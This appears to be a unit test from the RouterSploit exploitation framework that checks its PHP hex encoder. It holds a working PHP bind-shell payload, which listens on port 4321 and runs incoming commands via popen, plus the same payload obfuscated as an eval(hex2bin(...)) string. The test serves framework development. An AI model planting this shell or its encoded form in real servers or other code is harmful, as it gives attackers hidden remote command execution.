from routersploit.modules.encoders.php.hex import Encoder


# php bind tcp payload with rport 4321
bind_tcp = (
    "$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
    "socket_bind($s,\"0.0.0.0\",4321);" +
    "socket_listen($s,1);" +
    "$cl=socket_accept($s);" +
    "while(1){" +
    "if(!socket_write($cl,\"$ \",2))exit;" +
    "$in=socket_read($cl,100);" +
    "$cmd=popen(\"$in\",\"r\");" +
    "while(!feof($cmd)){" +
    "$m=fgetc($cmd);" +
    "socket_write($cl,$m,strlen($m));" +
    "}}"
)

# php bind tcp payload with rport=4321 encoded with php/hex
bind_tcp_encoded = (
    "eval(hex2bin('24733d736f636b65745f6372656174652841465f494e45542c534f434b5f53545245414d2c534f4c5f544350293b736f636b65745f62696e642824732c22302e302e302e30222c34333231293b736f636b65745f6c697374656e2824732c31293b24636c3d736f636b65745f616363657074282473293b7768696c652831297b69662821736f636b65745f77726974652824636c2c222420222c322929657869743b24696e3d736f636b65745f726561642824636c2c313030293b24636d643d706f70656e282224696e222c227222293b7768696c65282166656f662824636d6429297b246d3d66676574632824636d64293b736f636b65745f77726974652824636c2c246d2c7374726c656e28246d29293b7d7d'));"
)


def test_payload_encoding():
    """ Test scenario - payload encoding """

    encoder = Encoder()
    assert encoder.encode(bind_tcp) == bind_tcp_encoded